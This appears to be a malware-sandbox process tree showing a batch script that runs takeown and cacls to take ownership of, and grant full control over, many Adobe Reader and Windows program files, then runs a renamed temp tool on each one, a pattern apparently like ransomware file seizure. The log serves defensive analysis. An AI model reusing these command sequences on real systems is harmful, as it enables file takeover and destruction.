C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CP1252.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CP1252.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MyriadCAD.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MyriadCAD.otf" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "create_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "create_form.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "info.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "info.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "trash.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "trash.gif" -nobanner4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "can.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "can.hyp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "usa37.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "usa37.hyp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ICELAND.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ICELAND.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CP1254.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CP1254.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\JNTFiltr.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\Journal.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\Journal.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\PDIALOG.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\jnwmon.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\NBMapTIP.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Month_Calendar.jtp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Month_Calendar.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Month_Calendar.jtp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\es-ES\WinMail.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ChessMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ChessMCE.png" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\MSPVWCTL.DLL.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\JNTFiltr.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
